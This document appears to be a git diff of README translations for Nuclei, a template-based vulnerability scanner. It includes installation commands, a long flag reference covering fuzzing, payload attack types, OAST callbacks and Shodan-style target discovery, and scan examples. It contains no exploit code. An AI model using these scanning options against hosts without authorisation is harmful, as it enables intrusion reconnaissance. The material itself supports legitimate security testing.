<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
Nuclei se utiliza para enviar peticiones a múltiples objetivos basándose en una plantilla, lo que resulta en cero falsos positivos y proporciona un escaneo rápido en un gran número de hosts. Nuclei ofrece escaneos para una variedad de protocolos, incluyendo TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless, Code, etc. Con plantillas potentes y flexibles, Nuclei puede utilizarse para modelar todo tipo de comprobaciones de seguridad.
|
||||
|
||||
Tenemos un [repositorio dedicado](https://github.com/projectdiscovery/nuclei-templates) que alberga varios tipos de plantillas de vulnerabilidades, contribuidas por **más de 300** investigadores y ingenieros de seguridad.
|
||||
|
||||
## Cómo funciona
|
||||
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
|
||||
|
||||
| :exclamation: **Descargo de responsabilidad** |
|
||||
|---------------------------------|
|
||||
| **Este proyecto está en desarrollo activo**. Es de esperar que se produzcan cambios importantes con las nuevas versiones. Consulte el registro de cambios de la versión antes de actualizar. |
|
||||
| Este proyecto fue principalmente desarrollado para ser utilizado como una herramienta CLI independiente. **Ejecutar nuclei como un servicio puede suponer riesgos de seguridad.** Se recomienda utilizarlo con precaución y tomar medidas de seguridad adicionales. |
|
||||
|
||||
# Instalación de Nuclei
|
||||
|
||||
Nuclei requiere **go1.21** para instalarse correctamente. Ejecute el siguiente comando para instalar la última versión -
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Brew</summary>
|
||||
|
||||
```sh
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
</details>
|
||||
<details>
|
||||
<summary>Docker</summary>
|
||||
|
||||
```sh
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**Más métodos de instalación [pueden encontrarse aquí](https://docs.projectdiscovery.io/tools/nuclei/install).**
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### Plantillas de Nuclei
|
||||
|
||||
Nuclei cuenta con soporte incorporado para la descarga/actualización automática de plantillas desde la versión [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2) en adelante. El proyecto [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) proporciona una lista de plantillas listas para usar, aportadas por la comunidad, y que se actualizan constantemente.
|
||||
|
||||
También puedes utilizar la bandera `update-templates` para actualizar las plantillas de Nuclei en cualquier momento; puedes escribir tus propias pruebas para tu flujo de trabajo y necesidades individuales siguiendo la [guía de plantillas](https://docs.projectdiscovery.io/templates/) de Nuclei.
|
||||
|
||||
La sintaxis de referencia YAML DSL está disponible [aquí](SYNTAX-REFERENCE.md).
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
### Uso
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
Esto mostrará ayuda sobre la herramienta. Aquí están todas las opciones que soporta.
|
||||
|
||||
|
||||
```console
|
||||
Nuclei es un escáner de vulnerabilidades rápido y basado en plantillas
|
||||
que se centra en su amplia configurabilidad, extensibilidad y facilidad de uso.
|
||||
|
||||
Usage:
|
||||
./nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] URLs/hosts a escanear
|
||||
-l, -list string ruta al archivo que contiene la lista de URLs/hosts a escanear (uno por línea)
|
||||
-eh, -exclude-hosts string[] hosts a excluir para escanear de la lista de entrada (ip, cidr, hostname)
|
||||
-resume string reanudar el escaneo usando resume.cfg (la clusterización quedará inhabilitada)
|
||||
-sa, -scan-all-ips escanear todas las IP asociadas al registro dns
|
||||
-iv, -ip-version string[] versión IP a escanear del nombre de host (4,6) - (por defecto 4)
|
||||
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string modo del archivo de entrada (list, burp, jsonl, yaml, openapi, swagger) (por defecto "list")
|
||||
-ro, -required-only utilizar solo campos requeridos en el formato de entrada al generar peticiones
|
||||
-sfv, -skip-format-validation saltar la validación de formato (como variables faltantes) al procesar el archivo de entrada
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates ejecutar sólo las nuevas plantillas añadidas en la última versión de nuclei-templates
|
||||
-ntv, -new-templates-version string[] ejecutar las nuevas plantillas añadidas en la versión especificada
|
||||
-as, -automatic-scan escaneo web automático utilizando la detección de tecnología de wappalyzer para mapeo de etiquetas
|
||||
-t, -templates string[] lista de plantillas o directorio de plantillas a ejecutar (separadas por comas, file)
|
||||
-turl, -template-url string[] url de plantilla o lista que contiene urls de plantillas a ejecutar (separadas por comas, file)
|
||||
-w, -workflows string[] lista de flujos de trabajo o directorio de flujos de trabajo a ejecutar (separadas por comas, file)
|
||||
-wurl, -workflow-url string[] url de flujo de trabajo o lista que contiene urls de flujo de trabajo para ejecutar (separadas por comas, file)
|
||||
-validate valida las plantillas pasadas a nuclei
|
||||
-nss, -no-strict-syntax deshabilita la comprobación de sintaxis estricta en las plantillas
|
||||
-td, -template-display muestra el contenido de las plantillas
|
||||
-tl lista todas las plantillas disponibles
|
||||
-tgl lista todas las etiquetas disponibles
|
||||
-sign firma las plantillas con la clave privada definida en la variable de entorno NUCLEI_SIGNATURE_PRIVATE_KEY
|
||||
-code habilita la carga de plantillas basadas en protocolos de código
|
||||
-dut, -disable-unsigned-templates deshabilita la ejecución de plantillas no firmadas o plantillas con firma no coincidente
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] plantillas a ejecutar basadas en autores (separadas por comas, file)
|
||||
-tags string[] plantillas a ejecutar basadas en etiquetas (separadas por comas, file)
|
||||
-etags, -exclude-tags string[] plantillas a excluir basadas en etiquetas (separadas por comas, file)
|
||||
-itags, -include-tags string[] etiquetas a ejecutar incluso si están excluidas ya sea por defecto o por configuración
|
||||
-id, -template-id string[] plantillas a ejecutar basadas en IDs de plantilla (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] plantillas a excluir basadas en IDs de plantilla (separadas por comas, file)
|
||||
-it, -include-templates string[] ruta al archivo de plantilla o directorio a ejecutar incluso si están excluidas ya sea por defecto o por configuración
|
||||
-et, -exclude-templates string[] ruta al archivo de plantilla o directorio a excluir (separadas por comas, file)
|
||||
-em, -exclude-matchers string[] matchers de plantilla a excluir en el resultado
|
||||
-s, -severity value[] plantillas a ejecutar basadas en criticidad. Valores posibles: info, bajo, medio, alto, crítico, desconocido
|
||||
-es, -exclude-severity value[] plantillas a excluir basadas en criticidad. Valores posibles: info, bajo, medio, alto, crítico, desconocido
|
||||
-pt, -type value[] plantillas a ejecutar basadas en tipo de protocolo. Valores posibles: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] plantillas a excluir basadas en tipo de protocolo. Valores posibles: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] plantillas a ejecutar basadas en condición de expresión
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string archivo de salida donde guardar las incidencias/vulnerabilidades detectadas
|
||||
-sresp, -store-resp almacenar todas las peticiones/respuestas enviadas por nuclei en el directorio de salida
|
||||
-srd, -store-resp-dir string almacenar todas las peticiones/respuestas enviadas por nuclei en un directorio personalizado (por defecto "output")
|
||||
-silent mostrar resultados únicamente
|
||||
-nc, -no-color deshabilitar la coloración del contenido de salida (códigos de escape ANSI)
|
||||
-j, -jsonl escribir la salida en formato JSONL(ines)
|
||||
-irr, -include-rr -omit-raw incluir pares peticiones/respuesta en las salidas JSON, JSONL y Markdown (sólo para hallazgos) [OBSOLETO usar -omit-raw] (por defecto true)
|
||||
-or, -omit-raw omitir los pares peticiones/respuesta en las salidas JSON, JSONL y Markdown (sólo para hallazgos)
|
||||
-ot, -omit-template omitir plantilla codificada en la salida JSON, JSONL
|
||||
-nm, -no-meta deshabilitar la impresión de metadatos de resultados en la salida cli
|
||||
-ts, -timestamp habilitar la impresión de la marca de tiempo en la salida cli
|
||||
-rdb, -report-db string base de datos de informes de nuclei (utilizarla siempre para persistir los datos de los informes)
|
||||
-ms, -matcher-status mostrar el estado de fallo de coincidencia
|
||||
-me, -markdown-export string directorio para exportar resultados en formato markdown
|
||||
-se, -sarif-export string archivo para exportar resultados en formato SARIF
|
||||
-je, -json-export string archivo para exportar resultados en formato JSON
|
||||
-jle, -jsonl-export string archivo para exportar resultados en formato JSONL(ines)
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string ruta al archivo de configuración de nuclei
|
||||
-fr, -follow-redirects habilitar el seguimiento de redirecciones para plantillas http
|
||||
-fhr, -follow-host-redirects seguir redirecciones en el mismo host
|
||||
-mr, -max-redirects int número máximo de redirecciones a seguir para plantillas http (por defecto 10)
|
||||
-dr, -disable-redirects deshabilitar redirecciones para plantillas http
|
||||
-rc, -report-config string archivo de configuración del módulo de informes de nuclei
|
||||
-H, -header string[] encabezado/cookie personalizado a incluir en todas las peticiones http en formato header:value (cli, file)
|
||||
-V, -var value variables personalizadas en formato key=value
|
||||
-r, -resolvers string archivo que contiene lista de resolutores para nuclei
|
||||
-sr, -system-resolvers utilizar resolución de DNS del sistema como fallback de error
|
||||
-dc, -disable-clustering deshabilitar la clusterización de peticiones
|
||||
-passive habilitar el modo de procesamiento pasivo de respuestas HTTP
|
||||
-fh2, -force-http2 forzar la conexión http2 en las peticiones
|
||||
-ev, -env-vars habilitar el uso de variables de entorno en la plantilla
|
||||
-cc, -client-cert string archivo de certificado de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados
|
||||
-ck, -client-key string archivo de clave de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados
|
||||
-ca, -client-ca string archivo de autoridad de certificación de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados
|
||||
-sml, -show-match-line mostrar líneas de coincidencia para plantillas de archivo, funciona solo con extractores
|
||||
-ztls utilizar la biblioteca ztls con autofallback a estándar para tls13 [Obsoleto] autofallback a ztls está habilitado por defecto
|
||||
-sni string nombre de host tls sni a usar (por defecto: nombre de dominio de entrada)
|
||||
-dt, -dialer-timeout value tiempo de espera para peticiones de red
|
||||
-dka, -dialer-keep-alive value duración de keep-alive para peticiones de red
|
||||
-lfa, -allow-local-file-access permite el acceso a archivos (carga útil) en cualquier lugar del sistema
|
||||
-lna, -restrict-local-network-access bloquea conexiones a la red local / privada
|
||||
-i, -interface string interfaz de red a usar para el escaneo de red
|
||||
-at, -attack-type string tipo de combinaciones de carga útil a realizar (batteringram, pitchfork, clusterbomb)
|
||||
-sip, -source-ip string dirección ip de origen a usar para el escaneo de red
|
||||
-rsr, -response-size-read int tamaño máximo de respuesta a leer en bytes (por defecto 10485760)
|
||||
-rss, -response-size-save int tamaño máximo de respuesta a guardar en bytes (por defecto 1048576)
|
||||
-reset reset elimina todos los archivos de configuración y datos de nuclei (incluidas las nuclei-templates)
|
||||
-tlsi, -tls-impersonate habilitar client hello (ja3) tls randomization experimental
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string url del servidor interactsh para instancia autoalojada (por defecto: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string token de autenticación del servidor interactsh autoalojado
|
||||
-interactions-cache-size int número de peticiones a mantener en la caché de interacciones (por defecto 5000)
|
||||
-interactions-eviction int número de segundos a esperar antes de eliminar las solicitudes de la caché (por defecto 60)
|
||||
-interactions-poll-duration int número de segundos a esperar antes de cada solicitud de polling de interacciones (por defecto 5)
|
||||
-interactions-cooldown-period int tiempo adicional para el polling de interacciones antes de salir (por defecto 5)
|
||||
-ni, -no-interactsh desactivar el servidor interactsh para pruebas OAST, excluir plantillas basadas en OAST
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string sobrescribe el tipo de fuzzing establecido en la plantilla (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string sobrescribe el modo de fuzzing establecido en la plantilla (multiple, single)
|
||||
-fuzz habilita la carga de plantillas de fuzzing (Obsoleto: usar -dast en su lugar)
|
||||
-dast solo ejecuta plantillas DAST
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover habilita el motor uncover
|
||||
-uq, -uncover-query string[] consulta de búsqueda uncover
|
||||
-ue, -uncover-engine string[] motor de búsqueda uncover (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (por defecto shodan)
|
||||
-uf, -uncover-field string campos uncover a devolver (ip,port,host) (por defecto "ip:port")
|
||||
-ul, -uncover-limit int resultados uncover a devolver (por defecto 100)
|
||||
-ur, -uncover-ratelimit int sobrescribe el límite de velocidad de los motores con el límite de velocidad del motor uncover (por defecto 60 req/min) (por defecto 60)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int número máximo de peticiones a enviar por segundo (por defecto 150)
|
||||
-rlm, -rate-limit-minute int número máximo de peticiones a enviar por minuto
|
||||
-bs, -bulk-size int número máximo de hosts a ser analizados en paralelo por plantilla (por defecto 25)
|
||||
-c, -concurrency int número máximo de plantillas a ejecutar en paralelo (por defecto 25)
|
||||
-hbs, -headless-bulk-size int número máximo de hosts headless a ser analizados en paralelo por plantilla (por defecto 10)
|
||||
-headc, -headless-concurrency int número máximo de plantillas headless a ejecutar en paralelo (por defecto 10)
|
||||
-jsc, -js-concurrency int número máximo de entornos de ejecución de JavaScript a ejecutar en paralelo (por defecto 120)
|
||||
-pc, -payload-concurrency int concurrencia máxima de carga útil para cada plantilla (por defecto 25)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int tiempo de espera en segundos (por defecto 10)
|
||||
-retries int número de veces que se reintenta una petición fallida (por defecto 1)
|
||||
-ldp, -leave-default-ports dejar puertos HTTP/HTTPS predeterminados (por ejemplo, host:80,host:443)
|
||||
-mhe, -max-host-error int errores máximos para un host antes de omitirlo del escaneo (por defecto 30)
|
||||
-te, -track-error string[] agrega el error dado a la lista de seguimiento de errores máximos por host (standard, file)
|
||||
-nmhe, -no-mhe deshabilita la omisión del host del escaneo basado en errores
|
||||
-project utiliza una carpeta de proyecto para evitar enviar la misma petición varias veces
|
||||
-project-path string establece una ruta de proyecto específica (por defecto "/tmp")
|
||||
-spm, -stop-at-first-match detiene el procesamiento de las peticiones HTTP después de la primera coincidencia (puede romper la lógica de la plantilla/flujo de trabajo)
|
||||
-stream modo transmisión - comienza a trabajar sin ordenar la entrada
|
||||
-ss, -scan-strategy value estrategia a utilizar mientras se escanea (auto/host-spray/template-spray) (por defecto auto)
|
||||
-irt, -input-read-timeout value tiempo de espera en la lectura de entrada (por defecto 3m0s)
|
||||
-nh, -no-httpx deshabilita análisis httpx para entradas que no son URL
|
||||
-no-stdin deshabilita el procesamiento de la entrada estándar
|
||||
|
||||
HEADLESS:
|
||||
-headless habilita las plantillas que requieren soporte de navegadores sin interfaz gráfica (headless browser) (el usuario root en Linux deshabilitará el sandbox)
|
||||
-page-timeout int segundos para esperar cada página en modo sin interfaz (por defecto 20)
|
||||
-sb, -show-browser muestra el navegador en la pantalla al ejecutar plantillas con modo sin interfaz
|
||||
-ho, -headless-options string[] inicia Chrome en modo sin interfaz con opciones adicionales
|
||||
-sc, -system-chrome utiliza el navegador Chrome instalado localmente en lugar del instalado por nuclei
|
||||
-lha, -list-headless-action lista de acciones sin interfaz disponibles
|
||||
|
||||
DEBUG:
|
||||
-debug muestra todas las peticiones y respuestas
|
||||
-dreq, -debug-req muestra todas las peticiones enviadas
|
||||
-dresp, -debug-resp muestra todas las respuestas recibidas
|
||||
-p, -proxy string[] lista de proxies http/socks5 a utilizar (separados por comas o archivo de entrada)
|
||||
-pi, -proxy-internal proxy para todas las peticiones internas
|
||||
-ldf, -list-dsl-function lista todas las firmas de función DSL admitidas
|
||||
-tlog, -trace-log string archivo a escribir el registro de traza de peticiones enviadas
|
||||
-elog, -error-log string archivo a escribir el registro de error de peticiones enviadas
|
||||
-version muestra la versión de nuclei
|
||||
-hm, -hang-monitor habilita la monitorización de bloqueos de nuclei
|
||||
-v, -verbose muestra salida detallada
|
||||
-profile-mem string archivo opcional de volcado de memoria de nuclei
|
||||
-vv muestra las plantillas cargadas para el escaneo
|
||||
-svd, -show-var-dump muestra el volcado de variables para depuración
|
||||
-ep, -enable-pprof habilita el servidor de depuración pprof
|
||||
-tv, -templates-version muestra la versión de las plantillas nuclei (nuclei-templates) instaladas
|
||||
-hc, -health-check ejecuta comprobación de diagnóstico
|
||||
|
||||
UPDATE:
|
||||
-up, -update actualiza el motor de nuclei a la última versión lanzada
|
||||
-ut, -update-templates actualiza nuclei-templates a la última versión lanzada
|
||||
-ud, -update-template-dir string directorio personalizado para instalar/actualizar nuclei-templates
|
||||
-duc, -disable-update-check deshabilita la comprobación automática de actualizaciones de nuclei/templates
|
||||
|
||||
STATISTICS:
|
||||
-stats muestra estadísticas sobre el escaneo en ejecución
|
||||
-sj, -stats-json muestra estadísticas en formato JSONL(ines)
|
||||
-si, -stats-interval int número de segundos a esperar entre mostrar una actualización de estadísticas (por defecto 5)
|
||||
-mp, -metrics-port int puerto para exponer métricas de nuclei (por defecto 9092)
|
||||
|
||||
CLOUD:
|
||||
-auth configura la clave de API del cloud de projectdiscovery (pdcp)
|
||||
-cup, -cloud-upload sube los resultados del escaneo al dashboard de pdcp
|
||||
-sid, -scan-id string sube los resultados del escaneo al ID de escaneo dado
|
||||
|
||||
AUTHENTICATION:
|
||||
-sf, -secret-file string[] ruta al archivo de configuración que contiene los secrets para el escaneo autenticado de nuclei
|
||||
-ps, -prefetch-secrets precarga los secrets del archivo de secrets
|
||||
|
||||
|
||||
EXAMPLES:
|
||||
Ejecutar nuclei en un solo host:
|
||||
$ nuclei -target example.com
|
||||
|
||||
Ejecutar nuclei con directorios de plantillas específicos:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
Ejecutar nuclei contra una lista de hosts:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
Ejecutar nuclei con una salida JSON:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
Ejecutar nuclei con salidas Markdown ordenadas (con variables de entorno):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
Documentación adicional disponible en: https://docs.nuclei.sh/getting-started/running
|
||||
```
|
||||
|
||||
### Ejecutando Nuclei
|
||||
|
||||
Consulta https://docs.projectdiscovery.io/tools/nuclei/running para obtener detalles sobre cómo ejecutar Nuclei.
|
||||
|
||||
### Uso de Nuclei desde código Go
|
||||
|
||||
La guía completa sobre cómo usar Nuclei como biblioteca/SDK está disponible en [godoc](https://pkg.go.dev/github.com/projectdiscovery/nuclei/v3/lib#section-readme).
|
||||
|
||||
|
||||
### Recursos
|
||||
|
||||
Puedes acceder a la documentación principal de Nuclei en https://docs.projectdiscovery.io/tools/nuclei/, y obtener más información sobre Nuclei en la nube con [ProjectDiscovery Cloud Platform](https://cloud.projectdiscovery.io).
|
||||
|
||||
¡Consulta https://docs.projectdiscovery.io/tools/nuclei/resources para obtener más recursos y videos sobre Nuclei!
|
||||
|
||||
### Créditos
|
||||
|
||||
Gracias a todos los increíbles [contribuyentes de la comunidad que enviaron PRs](https://github.com/projectdiscovery/nuclei/graphs/contributors) y mantienen este proyecto actualizado. :heart:
|
||||
|
||||
Si tienes una idea o algún tipo de mejora, eres bienvenido a contribuir y participar en el Proyecto, siéntete libre de enviar tu PR.
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei&max=500">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
|
||||
También echa un vistazo a los siguientes proyectos de código abierto similares que pueden adaptarse a tu flujo de trabajo:
|
||||
|
||||
[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)
|
||||
|
||||
### Licencia
|
||||
|
||||
Nuclei se distribuye bajo la [Licencia MIT](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://docs.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
|
||||
</h1>
|
||||
@@ -24,7 +24,7 @@
|
||||
<a href="#untuk-pengembang-dan-organisasi">Untuk Pengembang</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/">Dokumentasi</a> •
|
||||
<a href="#kredit">Kredit</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">Tanya Jawab</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/nuclei/">Tanya Jawab</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Gabung Discord</a>
|
||||
</p>
|
||||
|
||||
@@ -32,8 +32,7 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
@@ -106,15 +105,13 @@ TEMPLATES:
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-tu, -template-url string[] list of template urls to run (comma-separated, file)
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-wu, -workflow-url string[] list of workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
@@ -267,28 +264,27 @@ STATISTICS:
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
|
||||
CLOUD:
|
||||
-auth configure projectdiscovery cloud (pdcp) api key
|
||||
-cup, -cloud-upload upload scan results to pdcp dashboard
|
||||
-sid, -scan-id string upload scan results to given scan id
|
||||
|
||||
|
||||
EXAMPLES:
|
||||
Run nuclei on single host:
|
||||
$ nuclei -target example.com
|
||||
|
||||
Run nuclei with specific template directories:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
Run nuclei against a list of hosts:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
Run nuclei with a JSON output:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
Run nuclei with sorted Markdown outputs (with environment variables):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
Additional documentation is available at: https://docs.nuclei.sh/getting-started/running
|
||||
-cloud run scan on nuclei cloud
|
||||
-ads, -add-datasource string add specified data source (s3,github)
|
||||
-atr, -add-target string add target(s) to cloud
|
||||
-atm, -add-template string add template(s) to cloud
|
||||
-lsn, -list-scan list previous cloud scans
|
||||
-lso, -list-output string list scan output by scan id
|
||||
-ltr, -list-target list cloud target by id
|
||||
-ltm, -list-template list cloud template by id
|
||||
-lds, -list-datasource list cloud datasource by id
|
||||
-lrs, -list-reportsource list reporting sources
|
||||
-dsn, -delete-scan string delete cloud scan by id
|
||||
-dtr, -delete-target string delete target(s) from cloud
|
||||
-dtm, -delete-template string delete template(s) from cloud
|
||||
-dds, -delete-datasource string delete specified data source
|
||||
-drs, -disable-reportsource string disable specified reporting source
|
||||
-ers, -enable-reportsource string enable specified reporting source
|
||||
-gtr, -get-target string get target content by id
|
||||
-gtm, -get-template string get template content by id
|
||||
-nos, -no-store disable scan/output storage on cloud
|
||||
-no-tables do not display pretty-printed tables
|
||||
-limit int limit the number of output to display (default 100)
|
||||
```
|
||||
|
||||
### Menjalankan Nuclei
|
||||
|
||||
@@ -1,172 +0,0 @@
|
||||
<h1 align="center">
|
||||
<br>
|
||||
<a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei"></a>
|
||||
</h1>
|
||||
|
||||
<h4 align="center">シンプルなYAMLベースのDSLに基づいた高速でカスタマイズ可能な脆弱性スキャナー</h4>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/github/issues-raw/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/discussions"><img src="https://img.shields.io/github/discussions/projectdiscovery/nuclei">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
|
||||
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#how-it-works">動作原理</a> •
|
||||
<a href="#install-nuclei">インストール</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/">ドキュメント</a> •
|
||||
<a href="#credits">クレジット</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">FAQ</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Discordに参加</a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">英語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中国語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">韓国語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">インドネシア語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">スペイン語</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
Nucleiは、テンプレートに基づいてターゲット間でリクエストを送信するために使用され、偽陽性がゼロであり、多数のホストで高速なスキャンを提供します。Nucleiは、TCP、DNS、HTTP、SSL、ファイル、Whois、Websocket、Headless、Codeなど、さまざまなプロトコルのスキャンを提供します。強力で柔軟なテンプレートを使用して、Nucleiはすべての種類のセキュリティチェックをモデル化するために使用できます。
|
||||
|
||||
**300人以上の** セキュリティ研究者およびエンジニアが提供するさまざまなタイプの脆弱性テンプレートを収容する[専用リポジトリ](https://github.com/projectdiscovery/nuclei-templates)を持っています。
|
||||
|
||||
## 動作原理
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
|
||||
| :exclamation: **免責事項** |
|
||||
|---------------------------------|
|
||||
| **このプロジェクトは積極的に開発されています**。リリースによって重大な変更が発生することがあります。更新する前にリリースの変更ログを確認してください。 |
|
||||
| このプロジェクトは主にスタンドアロンのCLIツールとして使用されることを目的として構築されました。**Nucleiをサービスとして実行すると、セキュリティリスクが生じる可能性があります。**注意して使用し、追加のセキュリティ対策を講じることをお勧めします。 |
|
||||
|
||||
# Nucleiのインストール
|
||||
|
||||
Nucleiを正常にインストールするには、**go1.21**が必要です。以下のコマンドを実行して最新バージョンをインストールしてください -
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Brew</summary>
|
||||
|
||||
```sh
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
</details>
|
||||
<details>
|
||||
<summary>Docker</summary>
|
||||
|
||||
